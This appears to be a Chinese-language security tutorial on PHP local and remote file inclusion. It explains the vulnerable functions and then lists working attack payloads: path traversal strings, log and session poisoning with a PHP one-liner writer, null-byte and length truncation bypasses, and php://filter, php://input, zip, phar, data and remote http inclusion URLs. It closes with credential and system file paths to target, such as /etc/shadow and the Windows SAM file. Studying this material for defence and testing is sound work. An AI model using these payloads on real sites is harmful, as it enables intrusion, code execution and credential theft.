一、简介
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为文件包含。但是如果未对动态调用的变量做出限制(如同SQL注入漏洞一样,未对客户端输入进行过滤,从而造成违背开发人员本意的语句执行–这里是指调用了恶意文件),客户端可以调用任意文件,则造成了文件包含漏洞。
大多数Web语言都可以使用文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活。所以包含漏经常出现在PHP语言中,在JSP/ASP/ASP.net程序中比较少。
二、文件包含函数
常见函数
函数 | 说明 |
---|---|
include() | 找不到被包含的文件时只产生警告,脚本将继续执行 |
include_once() | 此语句和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
require() | 找不到被包含的文件时会产生致命错误,并停止脚本 |
require_once() | 此语句和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含 |
require()和include()函数的区别:
使用require()函数包含文件时,只要程序执行,立即调用文件,而include()只有程序执行到该函数时才调用。
其它函数:
highlight_file()、show_source()、readfile()、file_get_contents()、fopen()、file()等
三、文件包含分类
1、本地文件包含–LFI
可以读取和打开本地文件
前提:
1、allow_url_fopen=On(php.ini中进行配置,该选项默认为On)
2、用户可以动态控制变量
利用:
1、获取到系统中的其他文件的内容
绝对路径:?action=C:\\Windows\\System32\\drivers\\etc\\hosts
相对路径:?action=..\..\..\windows\\system32\\drivers\\etc\\hosts
包含图片马:
/action.php?action=test.jpg
包含日志文件:
文件路径
访问日志:
access_log(在Windows上是access.log)
错误日志:
error_log(在Windows上是error.log)
默认安装路径:
CentOS、Redhat、Fedora:/var/log/httpd/
Ubuntu、Debian、Kali:/var/log/apache2/
源码安装路径:
/usr/local/apache2/logs/
具体可通过配置文件查看与更改
/etc/httpd/conf/httpd.conf
注意:
1、使用日志文件包保证文件内有且只有一对脚本语言的标签,可以在零点时使用。
2、使用bp抓包写入,防止出现编码问题。
包含session:
文件路径
默认:
/var/lib/php/session、/var/lib/php5/session等
可以通过phpinfo查看,session.save_path(受版本影响)
session名构成:
sess_[phpsessid],phpsessid 在客户端存储信息cookie中可看到。
通过代码审计或传入、包含构造的session文件进行利用
利用代码(类似的源码或者自己构造)
<?php
session_start();
$shell=$_GET['shell'];
$_SESSION["username"]=$shell;
?>
利用
/shell.php?cmd=<?php phpinfo();?> #写入一句话
xx.php?file=/var/lib/php5/session/sess_xxxxxxx #文件包含利用
绕过
代码环境
# 增加指定后缀
<?php $filename=$_GET['filename']; include($filename."php"); ?>
方法 | 说明 |
---|---|
%00截断 | 前提: 1、magic_quotes_gpc=Off 2、php版本<5.3.4 用法: ?action=phpinfo.php%00 |
路径长度截断 | 前提: 1、Windows下要长于256字节,超出的部分会被丢弃 2、Linux下要长于4096字节,超出的部分会被丢弃。 用法: ?action=phpinfo.php../../../../… |
点号截断 | 前提: windows系统,点号需要长于256 用法: ?action=phpinfo.php………. |
其他 | 增加前缀: 相对路径、绝对路径绕过 增加后缀 : 伪协议绕过 过滤../:使用…/.绕过,过滤一次还剩下../ … |
2、远程文件包含–RFI
能够包含远程服务器上的文件并执行,可以通过http(s)或者ftp等方式,远程加载文件
前提:
1、allow_url_include=On(默认为OFF,需要在php.ini中手动打开)
2、allow_url_fopen=On(是否允许打开远程文件)
3、用户可以动态控制变量
利用——伪协议
协议 | 利用 |
---|---|
file:// | 访问本地文件系统 使用条件: allow_url_fopen:off/on allow_url_include:off/on file: //协议在两个配置都为off的情况下是可以正常使用的 使用方法: file: //文件的绝对路径和文件名 [?path=file://c:\windows\System32\drivers\etc\hosts] |
php:// | 访问各个输入/输出流 php://filter 使用条件: allow_url_fopen:off/on allow_url_include:off/on 两个配置都为off的情况下是可以正常使用的 使用: [?path=php://filter/read=convert.base64-encode/resource=文件.php] 注意: 通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码。虽然不能直接获取到shell,但能读取敏感文件。 php://filter协议与file://协议的区别: file协议只能使用绝对路径,filter协议相对路径和绝对路径都可以使用PHP伪协议 php://input 用途: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行 使用条件: allow_url_fopen:off/on allow_url_include:on 使用方法: ?file=php://input[POST]: (执行POST DATA中的内容) |
zip:// | 用途: 读取zip压缩包内容 使用条件: allow_url_fopen = off/on allow_rul_include=off/on 使用方法: ?file=zip://D:/soft/phpstudy/www/file.zip%23phpcode.txt 若是zip后缀被禁用,可直接改zip后缀为jpg后缀,继续使用zip协议访问 |
phar:// | 压缩协议,使用同zip协议 ?file=phar://D:/soft/phpstudy/www/file.jpg%23phpcode.txt |
data:// | ?file=data://text/plain, 或 ?file=data://text/plain;base64,base64编码数据 |
http:// | 访问HTTP(S)网址 ?path=http://ip/info.php |
ftp:// | 访问FTP(S) URLS ?path=ftp://用户名:密码@ip/info.php |
绕过
方法 | 说明 |
---|---|
问号绕过 | ?在url中是用来连接第一个变量的(多个变量使用&连接) ?action=http://192.168.152.143/phpinfo.php? |
#号绕过 | #在url中是定位符,跳转至指定文件的#标记(相当于搜索),需要url编码 ?action=http://192.168.152.143/phpinfo.php%23 |
空格绕过 | windows特性 ?action=http://192.168.152.143/phpinfo.php%20 |
python自定义响应包绕过 | 在服务器端使用python开启http服务,定制响应体,可绕过远程文件包含限制 python -m http.server 8000 python RFIServer.py 下载地址: https://www.zerochen.top/download/RFI/RFIServer.py |
四、常见的敏感信息路径
Windows系统
c:\boot.ini # 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml # IIS配置文件
C:\windows\system32\config\sam # 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini # MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD # MySQL root密码
c:\windows\php.ini # php 配置信息
Linux/Unix系统
/etc/passwd # 账户信息
/etc/shadow # 账户密码文件
/usr/local/app/apache2/conf/httpd.conf # Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf # 虚拟网站配置
/usr/local/app/php5/lib/php.ini # PHP相关配置
/etc/httpd/conf/httpd.conf # Apache配置文件
/etc/my.conf # mysql 配置文件